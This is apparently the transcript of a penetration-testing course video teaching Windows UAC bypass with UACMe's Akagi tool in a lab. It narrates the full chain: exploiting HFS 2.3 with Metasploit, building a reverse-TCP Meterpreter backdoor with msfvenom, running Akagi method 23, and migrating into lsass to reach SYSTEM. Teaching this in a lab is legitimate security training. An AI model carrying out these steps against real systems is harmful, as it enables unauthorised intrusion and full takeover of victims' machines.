[MUSIC PLAYING]
Bypassing UAC with UACMe.
All right, so now that we've taken a look
at how we can exploit vulnerabilities in the Windows
kernel in order to elevate our privileges,
let's take a look at how we can bypass UAC or User Account
Control with a tool called UACMe.
And again, this is going to be very interesting.
As I mentioned in the previous video,
this is one of the privilege escalation vectors
that I really like primarily because of how efficient it is.
All right, so getting started or before we actually
get started with the practical side of this video,
let's get an understanding of what UAC
is in the context of Windows.
UAC stands for User Account Control.
It is essentially a Windows security feature
that was introduced in Windows Vista
and is used to prevent unauthorized changes from being
made to the operating system.
So it was implemented in Windows Vista
and is present in every version of Windows since Windows Vista.
So from Windows Vista to Windows 7, to eight 8, 8.1, Windows 10,
and of course also Windows 11.
So again, it's a feature that you
will find on modern versions of Windows
or modern releases of Windows.
UAC is used to ensure that changes to the operating system
require approval from the administrator or a user
account that is part of the local administrator's group.
A non privileged user attempting to execute a program
with elevated privileges will be prompted with the UAC
credential prompt, whereas a privileged user will be
prompted with a consent prompt.
So if you've ever used Windows, which
I'm guessing that you have, and more
specifically a modern version of Windows,
so anything newer than Windows 7 or anything newer
than Windows Vista.
And if you have ever tried to install a new program,
you will be prompted with a screen or a dialog
box very similar to this.
You can see user account control.
And what Windows is doing is it's essentially asking you
whether you essentially are sure of your decision
or whether or not you want to execute this specific program
with elevated privileges.
And this is very, very important.
As I said, it's a security feature.
And the reason this was implemented
is because before, that you could essentially
execute a program with elevated privileges
without having the user account to actually confirm
that they want to do that.
So this informs them of the potential risk.
And of course, it's a vital part of modern Windows
or operating system security right now.
Depending on the type of privilege or access
you have to a target system or the type of access
you have to a Windows system, the actual user account control
prompt will actually change.
So, as I said, for example, if I'm running a Windows system
or I currently have access to a Windows system
with a user account that is part of the local administrator's
group, and I execute a program like the command
prompt with administrative privileges
or if I right-click on CMD and I say run as administrator,
I'll be prompted with a consent form.
So a consent form is essentially asking you, confirming,
or telling you that I'm going to execute this particular program
with administrative privileges, and I need your confirmation.
Now, if I was running or if I had access to a Windows system
with a non-privileged account, a standard account that's
not part of the local administrator's group,
and I tried to execute CMD as administrator,
I would be prompted with a credential prompt.
So a credential prompt is very similar to this box here
or this dialog box here.
However, the only difference is that I
will be prompted to enter the administrator's password.
And you should have actually seen this
in computers or Windows systems that
are used in an organization or in a school environment,
whereby administrators or system administrators don't want
students or individuals to execute
any program, for that matter, with elevated privileges,
and as a result, you would need to enter the administrator's
password to execute that particular program
with elevated privileges.
Now attackers can bypass user account control features
or safeguards in order to execute malicious executables
with elevated privileges.
And the typical use case here would
be that I can bypass UAC to essentially execute
an administrative command, like for example,
if I wanted to change a user's account password,
I can bypass UAC to change that particular user
accounts password and not have this dialog box show up
because if I have access to a Windows system
through a Meterpreter session or a command shell session
and I try and execute any program
with elevated privileges, this dialog box will actually
be brought up.
However, I don't have any means of actually accepting
or verifying that I want to make that
or I want to execute that particular program
with administrative privileges, and as a result,
I have to find a way of bypassing UAC altogether
so that I don't need to go through that entire process
of essentially providing my consent.
Now in terms of bypassing UAC, in order to successfully bypass
UAC, we will need to have access to a user account that
is part of the local administrator's group
on the Windows target system.
The reason for that is fairly simple.
Remember, if we are part of the local administrator's
group, that means that we have the ability
to execute programs or certain commands
with administrative privileges.
The only problem is that we need to bypass that consent dialog
box.
So again, we really can't bypass UAC if we don't have an account
or we don't have access to an account that
is part of the local administrator's group.
Now the local administrator's group on Windows
is essentially a group that's used
to assign administrative privileges to user accounts.
And of course, the only difference
being that they'll be able to use it if they want to use it
or when they're performing tasks that require
administrative privileges, tasks like
installing new software, et cetera, et cetera.
So UAC allows the program to be executed
with administrative privileges, consequently prompting
the user for confirmation.
So that's what we're going to be bypassing here.
Now UAC has various integrity levels,
and I'll showcase this in a few seconds,
ranging from low to high.
If the UAC protection level is set below high,
Windows programs can be executed with elevated privileges
without prompting the user for confirmation.
So again, a typical use case for this
would be that if we created a Meterpreter payload with MSF
venom and then uploaded it to the target,
and if we wanted to execute it with administrative privileges,
we can essentially bypass UAC and get that payload executed
with administrative privileges without having to go
through the consent process.
And of course, once that payload is executed,
because it's being executed with administrative privileges,
we will obtain an elevated Meterpreter session,
which means we've successfully been
able to elevate our privileges.
Now in terms of the tools and techniques that we can use,
there really are plenty of tools and techniques
that can be used to bypass UAC.
However, the key thing to note here
is that the tool and technique used
will depend on the version of Windows running on the target
system and, of course, the actual integrity
level or the actual UAC level that has been configured
on that target system.
And of course, I'll highlight this in a few seconds
when I'll be switching over to a Windows system
and showing you how all of this works.
So the tool that we're going to be utilizing is called UACMe.
Now UACMe really can't be considered
as a tool or a standalone tool because really
what it is an open-source robust privilege escalation
tool and guide developed by hfiref0x.
And it essentially can be used to bypass
Windows UAC by leveraging various techniques.
So the UACMe GitHub repository contains
a very, very well-documented list
of methods that can be used to bypass
UAC on multiple versions of Windows ranging from Windows 7
to Windows 10.
And the way it does this is it does this
by providing you with an executable that
can be transferred onto the target system,
and that executable essentially can
be used to execute a payload or any executable that you
want to execute with administrative privileges.
And the actual executable that I'm
referring to here that is part of UACMe is called Akagi.
And I'll get to that in a few seconds.
But the way this work is it essentially
allows attackers to execute malicious payloads
on their Windows target with administrative or elevated
privileges by abusing the in-built Windows auto elevate
tool.
So the UAC me GitHub repository has more than 60 exploits
that can be used to bypass UAC depending
on the version of Windows running on the target.
And of course, I'll be explaining how to use this tool
and will be exploring the GitHub repository
so that you have an understanding of what we're
going to be doing before we actually
get to the actual exploitation section.
So I'm just going to switch over to a Windows system
before we begin with the exploitation section.
This video has a lab environment that we will be using,
and it will allow me to showcase how
we can utilize UACMe me to bypass user count controls.
So I'm just going to quickly switch over
to my Windows system, and I'll demonstrate
what UAC is, how it looks when we essentially interact
with UAC, or we try and execute a program
with elevated privileges, and I'll also
showcase the various UAC levels or security levels.
So let me just switch over to the Windows system
really quickly.
All right, so this is the actual Windows VM
that I'm going to be using to just showcase
how UAC works on a Windows system.
So I currently have access to this system with a user account
that is part of the local administrator's
group on Windows.
So again, if I open up my command prompt here.
And I'm just going to zoom in or increase my font size
so you can see what's going on.
I can type, for example, net users.
There we are.
So you can see this particular virtual machine
has various user accounts.
We have the standard administrator account,
and then, of course, we have IEUser,
which is this current user.
And again, if we take a look at the actual members
of the Administrators group, we can say net local group
administrators.
You will see that the members of this group
are administrator and IEUser.
So that means that this particular user account
can execute programs or executables
with administrative privileges.
However, I will be prompted with the UAC consent prompt.
So, for example, if I wanted to execute the command prompt
as administrator, I could right-click on Command prompt
and then say run as administrator,
and you'll see I'll get the user account control
consent prompt right over here.
So, of course, this is just going to tell you,
do you want to allow this app to make changes to your device?
And this is what we're looking to bypass.
So I can either hit Yes or No.
And if I say Show More Details, you
can see that it's going to give you
information regarding that particular executable et
cetera, et cetera.
I can then it Yes, and I now have an elevated command
prompt, and that, of course, is denoted by the fact
that I've been automatically directed
or the default directory I'm working from
is the system32 directory.
And, of course, that goes just for any other program.
So, for example, I have a test payload here.
I can right-click on it and say run as administrator,
and there you go.
Now, if I currently had access to this account
with a standard non-privileged user account that was not
a part of the local administrator's group,
I would essentially be prompted with a credential prompt,
which is very similar to the consent prompt.
The only difference is there's a small dialog box asking
you to provide the administrator's
password in order to execute said program or payload
with executable or rather with elevated privileges.
Now in terms of the UAC security levels,
if I just open up the Start menu and I say UAC,
I have the ability to change the user account control settings.
And this allows me to change the UAC security level.
So the default configuration is never
set to high on a vanilla installation of Windows.
And as you can see, at this particular
or at this current level, it will only
notify me when apps try to make changes to my computer.
That's the default configuration.
And it will not notify me when I make changes
to Windows settings.
So if I set this to the highest, you can now
see that it will notify me or always notify me
when apps try to install software or make changes
to my computer, and it will also notify me when I make changes
to Windows settings.
So when it is currently set to the highest level,
this can be very difficult to bypass,
and that's something that you always want to be aware of.
And of course, as I said, if not configured
after installing Windows, then it's
going to utilize the default security level.
So that's really how UAC works.
You can see it's fairly simple in regards to what's
happening in the background.
And if you have used a Windows system,
then you should be familiar with all of this.
So now that we've taken a look at how
UAC works on a real Windows system where
we have physical access to the target
let's take a look at how we can bypass UAC through our access,
whether it be a standard command shell or a Meterpreter session.
So I'm just going to switch over to the lab environment.
And of course, you can follow along with the demonstration.
All right, so I'm currently within the lab environment,
and you'll be provided with the target IP.
And of course, in your case, it's going to be different.
So the first step will involve identifying a vulnerability
running on the target or a vulnerable service
running on the target that we can
exploit to gain initial access.
So, in this case, the exploitation
is going to be fairly trivial.
I'm just going to copy the IP address there and open up
a terminal, after which I'm just going to zoom in a little bit
here, and we can perform an Nmap scan on the target.
So I'm just going to say Nmap and paste in the target IP.
Of course, you're free to customize the parameters
or the scan options.
In this case, I'll just hit Enter.
And we should have a vulnerable HTTP file
server running on port 80.
So if we open up our browser and we
try and access the actual web server on port 80 that's
running on the target, you'll see that it's running the HFS
or rather the HTTP File Server developed by rejetto.
And this is version 2.3, which is actually
vulnerable to a particular exploit or vulnerability,
and we can easily exploit this vulnerability
with the Metasploit framework.
So I'm just going to start up the Metasploit framework.
I'll also start up the PostgreSQL Database Service.
So service postgresql start and msfconsole.
There we go.
We'll give this a couple of seconds.
And I'm just going to copy the target IP because I'm
going to set the target IP as a global variable for the RHOSTS
option.
So I'm going to say setg RHOSTS and target IP
so that I don't have to keep on typing the target IP address
whenever I load a new Metasploit module.
All right, so that's done.
I can now search for the particular exploit module.
In this case, the target is running a vulnerable version
of the rejetto HTTP file server.
You can see this is the exploit module that essentially
exploits a vulnerability that allows an attacker
to essentially perform remote command execution.
And in this case, this will provide us
with an Meterpreter session.
So I'll say, use, paste that in there.
The default payload configured will
be the standard 32-bit Windows Meterpreter payload,
which is perfectly fine.
If I show the options here, you can
see I can configure my payload options right over here.
And, of course, I'm going to leave these as the default.
In your case, you are free to change the LPORT depending
on your current situation.
But if you follow if you're following along
with this lab environment, then just leave the defaults.
Given the fact that I've already set up
the global variable value for the RHOST option,
you can see that is already set up for me,
and that's been configured to the target IP address,
so I don't have to type that in.
And I really don't need to configure anything else.
If the HTTP file server was running
on a subdirectory on the web server,
I could specify that here.
But in this case, it's running at the root of the web server,
so I'll just hit exploit.
We will give this a couple of seconds.
And we should obtain a Meterpreter session.
There we are.
It's going to send the stage, and we get a Meterpreter
session rather easily.
So we've successfully been able to gain access
to the target system.
So let's perform some basic local enumeration
to identify what version of Windows is running,
what current user we have access to,
what privileges this user has, et cetera.
So I can say sysinfo.
This tells me that I'm running on a Windows Server 2012
system, and that is, of course, R2 build 9600.
That information is very, very important.
And the current maturity session is a 32-bit session,
so I can migrate to the Explorer process.
So I can search for the Explorer process
by saying pgrep and search for the actual process
ID for explorer.exe.
So there we are.
And I can just say migrate to 2448,
and that'll provide me with a 64-bit Meterpreter session.
There we are, so if I say sysinfo,
you can see that's highlighted there.
So if I say get user ID, you can see
that we're currently logged on as the admin user, not
administrator.
This is another user called admin that is not
the administrator user but again should
be a part of the local administrator's group.
We can, of course, identify this through a command shell.
But before we do that, we can also
get the current privileges of this user
through Meterpreter by saying getprivs.
And you can see the privileges of very few,
and this indicates that this user is not privileged
at this point in time.
Now that doesn't mean that they can't perform
any administrative activity or tasks
like running a program as administrator
or executing a malicious executable
or payload as the administrator.
So again, to verify that this user is
a part of the local administrator's group,
I'm just going to open up a shell session.
And we can identify that information by saying--
we can start off by saying net user.
And you can see there's only really two user accounts.
We have the administrator account and the admin account,
which again is very different.
It's not to be confused or mistaken
as the administrator account.
So we can then say net local group administrators,
and you can see that the admin user is
a part of the Administrators group, which
means that this user can essentially execute programs
with elevated privileges, but in order to do
that, we'll need to bypass UAC.
An example of this would be, for example,
if I was to say net user admin, and I specify a new password
for that user like 123, you will see
it'll tell me access is denied.
System error five as occurred.
So that means the only reason that's being denied
is because, again, this particular activity or the act
of changing a password for a user
requires me to essentially accept
whenever the UAC consent form or dialog box is brought up.
And through a command shell, that really
can be done unless we bypass UAC.
So now that we've taken a look at how to gain access
to the target system and we're verified
that the current user account that we have access
to is part of the local administrator's group
let's take a closer look at UACMe.
So I'm just going to switch over to the UACMe GitHub repository
right over here.
And of course, the link to this GitHub repository
is attached to these slides.
And you can see that it's a fairly simple GitHub
repository in that you have the source code for the Akagi
executable, which is what is going to help us bypass UAC.
And these are going to be stored in
the decompiled or precompiled binaries are going
to be stored in binary, or rather
if we take a look at the source, they
should be stored within the source folder under Akagi.
And we have them under the binaries here.
Now, this particular lab environment
already has the Akagi executable stored on the desktop.
So I'll just take a step back here,
and let's take a look at the documentation for UACMe
because it's very, very important.
So you can see the actual readme tells you
that this is used to defeat Windows user account
control by abusing built-in Windows
or to elevate back door.
So it's essentially abusing or taking
advantage of the auto elevate feature in Windows.
The system requirements.
You can see that it runs on both 32-bit and 64-bit versions
of Windows 7, 8, 8.1, and 10.
And again, some methods also work on Windows Server
as well, which in this case, our target is actually
running Windows Server 2012.
So an admin account with UAC set on the default settings
is required.
Remember, I highlighted this on the Windows 10 system.
And again, if we take a look at the usage,
we can run the executable from the command line.
So we specify the Akagi executable.
We then specify a key and parameter.
And of course, this goes for the 64-bit executable as well.
So the first parameter is the number of method to use.
You can take a look at the various methods
you can use by clicking on the keys dropdown here.
And these are the various methods you can specify.
So, for example, if I wanted to use method one,
I would specify within my command line akagi64.exe1
and then the application or the path to the payload
that I want to execute with administrative privileges
and consequently bypass UAC during the execution process.
And the version or the type of method that you will use
will depend on the version of Windows
that is running on the target as well as the technique
that again you have found to be most suitable
in this particular scenario.
And if you click on the keys right over here,
you can see it'll provide you with the author
the type of method.
In this case, this one is Dll hijacking.
The method is through the IFile operation.
And the target or the actual executable being used here
is sysprep.exe.
And it'll tell you on what versions of Windows
it works on.
So, in this case, from Windows 7,
build 7600, which is service pack one.
However, you can see that method one or key one
has been fixed in Windows 8.1 because sysprep.exe
has been hardened.
So, in this case, we are going to be
utilizing method 23 as it works the best
in this particular scenario.
The author of this particular method
is Leo Davidson derivative.
And, of course, this is a derivative from the original.
So the type is Dll hijacking, and we
are utilizing the packagemanager.exe executable.
Now the package manager utility on Windows
can be used to install executables.
However, again this particular executable
is not vulnerable inherently.
The Akagi executable will actually
help us bypass UAC because even if we
were to use package manager to essentially execute
a malicious payload, it will still bring up the UAC consent
form or dialog box.
And this works from Windows 7, which
is build 7600, which is service pack one,
and it is still unfixed.
So again, if you want to take a look at this particular tool
and the documentation here, be sure to clone the repository.
And again, compiling the source code is fairly simple,
and instructions on how this can be done have also been
had also been added here.
You can see UACMe comes with full source code written
in C. In order to build from source,
you need Microsoft Visual Studio 15 and later versions.
As you can see, compiled binaries here.
They are not provided since 2.8.9
and will never be provided in the future.
The reasons and why you should too not provide them
to the general public, and of course,
it gives you the reason why the precompiled binaries are not
available.
However, in this case, or in the case of this lab environment,
the Akagi 64 executable has been provided for you,
the compiled version rather.
And all you need to do is just transfer it over
to the target system, and we'll be able to use it.
So I'm just going to switch back over to the lab environment
right over here, and we can take a look
at how we can use Akagi in a few seconds.
Again, if we just terminate this channel
and head back over into our Meterpreter session,
we can upload it directly.
It is currently stored under the desktop within this lab
environment under tools, and it is stored under UACMe.
There we are.
And you have akagi64.exe
So before we do that, we are going
to be generating a Meterpreter payload with msfvenom.
We are then going to be transferring it
over to the target, and we will then use the Akagi executable
with the key or the method 23, and we will then
execute the payload or the Meterpreter payload
that we've just generated, and that
should bypass UAC and provide us with an elevated Meterpreter
session on our listeners.
So the first step here will involve
generating the interpreter payload with MSF venom.
So I'm just going to say msfvenom in a new tab.
Payload is windows, meterpreter, reverse tcp.
And the LHOST host option is going
to be your Kali Linux IP which you
can obtain by saying ifconfig.
So I can take a look at the Ethernet one interface,
and this is my IP address here.
In your case, it will be different, so just
take note of that.
And then the LPORT, I'm just going
to use port 1234 because I want to keep things nice and simple
here.
We're going to output this into exe format.
And we will call this backdoor.exe.
And of course, you can call it whatever you want.
However, for the purpose of simplicity,
I'm just going to call it backdoor.exe.
I'll hit Enter.
That's going to generate the payload for me.
There we are.
And if I list out the contents of my home directory here
and we are currently using the root user,
you can see we have backdoor.exe uploaded or created
right over there.
The next step, of course, is to set up our listener
with msfconsole.
So I'll say msfconsole.
And, of course, I'm opening a new Metasploit framework
console session.
And we then want to set up our multi-handler
to receive the connection once the payload is
executed on the target.
So I'm going to say use multi-handler.
We're then going to set the payload
we specified when generating the actual payload with msfvenom.
In this case, we said we specify the payload as Windows
Meterpreter reverse tcp.
We're then going to set the lowest option to my Kali Linux
IP.
And of course, in your case, it's going to be different.
So I'm just going to copy that again,
and we'll set that to my IP there.
And set the LPORT to the port that I had configured,
which in this case, is 1234, and I'll hit Run.
So we have the reverse tcp handler
listening on port 1234 ready to receive the connection
from the malicious or the Meterpreter payload
that we just generated.
So now that we've done that let me head back
into my Meterpreter session here.
If I type in pwd, we are currently
within Windows System32.
And if I say get user ID and getprivs just
to confirm that we don't have any privileges,
you can see we still have very few privileges here.
So I'll navigate to the root of the C drive,
and I'll create a temp directory.
There we are.
Make Directory temp.
And as I said, the temp directory
is pretty much the best location for transferring
exploit code or executables because you never
want to upload executable or exploit code
to directories that are frequently accessed
by users on the system.
So we'll navigate into temp.
There we are, and we'll upload the back door first,
so I'm just going to say upload back door dot exe.
There we are, and we now need to upload Akagi 64.
So that's stored under root desktop tools UACME and Akagi
64 dot exe.
All right, so I'll hit Enter.
That's going to upload it.
And I can open up a shell session now,
and again, if I take a look at the contents of this directory,
we have Akagi 64.exe and backdoor.exe.
All right, so if we wanted to execute backdoor.exe
with administrative privileges, we
would not be able to do it because again UAC
would essentially prevent us from doing that.
So in order to bypass UAC on this particular version
of Windows, we'll be using method 23, or key 23
rather, which essentially takes advantage
of package manager on Windows.
So again, I'll say Akagi64.exe method 23 or key 23
and then I specify the path to backdoor,
which is C on the temp, and the name of the executable
is backdoor.exe.
Now when I hit Enter, this will again
bypass UAC and backdoor.exe should be executed
with elevated or administrative privileges,
and because it is a Meterpreter payload,
we should receive an elevated Meterpreter
session on our listener right over here.
So I'm just going to hit Enter.
You can see it's executed there.
And if we take a look at our listener
here or our reverse TCP handler, we can see it sends the stage
and we get a new Meterpreter session.
So we can say this info and get user ID,
and we still have access via the admin user, which makes sense,
and if I say get privs, you can see
we now have elevated privileges, even though we have access
to the admin user.
So we have an increased amount of privileges
and really this is an elevated session.
However, if we list out our process tree here,
we can migrate to any of the other processes
here that have NT authority system privileges.
And because we are privileged, we
can migrate to any of these services.
So for example, I can migrate to the lsass.exe service
here that currently has NT authority system privileges
so I can say migrate to 688.
There we are and that will migrate,
and that will also provide us with a 64-bit Meterpreter
session, as you can see here.
And if I now say get user ID NT authority system,
and we've successfully been able to elevate our privileges
by bypassing UAC.
And in this case, by bypassing UAC on a system running Windows
Server 2012 R2.
Now I will be exploring UACME in future courses,
primarily because UACME is quite a complicated tool in regards
to what technique or what method to use.
And as I said, that will require a lot
of understanding of the version of Windows
that you are currently targeting.
And of course, I would recommend that you
test this out within your own home
lab to learn more about what techniques work
and what techniques don't work on different versions
of Windows.
So again, I would recommend setting up a Windows 7
VM, a Windows 10 VM, Windows 8.1 VM, and then
utilizing UACME or Akagi to essentially test out
the various methods that you can use.
And as I said, it's fairly simple to use,
and you can try out all of these methods here.
Of course, I would recommend avoiding
the ones that have been fixed.
And of course, you can take a look
at a few other interesting ones like Key 33,
which in my experience has worked quite well for me.
And you can see that this is still unfixed
and this works on or from Windows versions 10,
and it provides you with the build number there.
So this is really the actual method or key
that I use when I'm targeting or trying to bypass
UAC on Windows 10 systems.
So again, definitely check out the GitHub repository,
learn more about how UACME works,
and the various methods that you can use.
All right, so that is going to conclude
the practical demonstration side of this video.
All right, so that is how to bypass UAC on Windows systems
in order to elevate your privileges.
Now this is by no means an exhaustive view or exposition
into privilege escalation via UAC bypass.
I will be exploring privilege escalation in depth
in its own course, so do stay tuned for that.
However, in the next video within this course,
we are going to be exploring the process of elevating
our privileges on a Windows system
by taking advantage of access tokens,
and more specifically, we will be
exploring the process of performing
access token impersonation.
So I'll see you in the next video.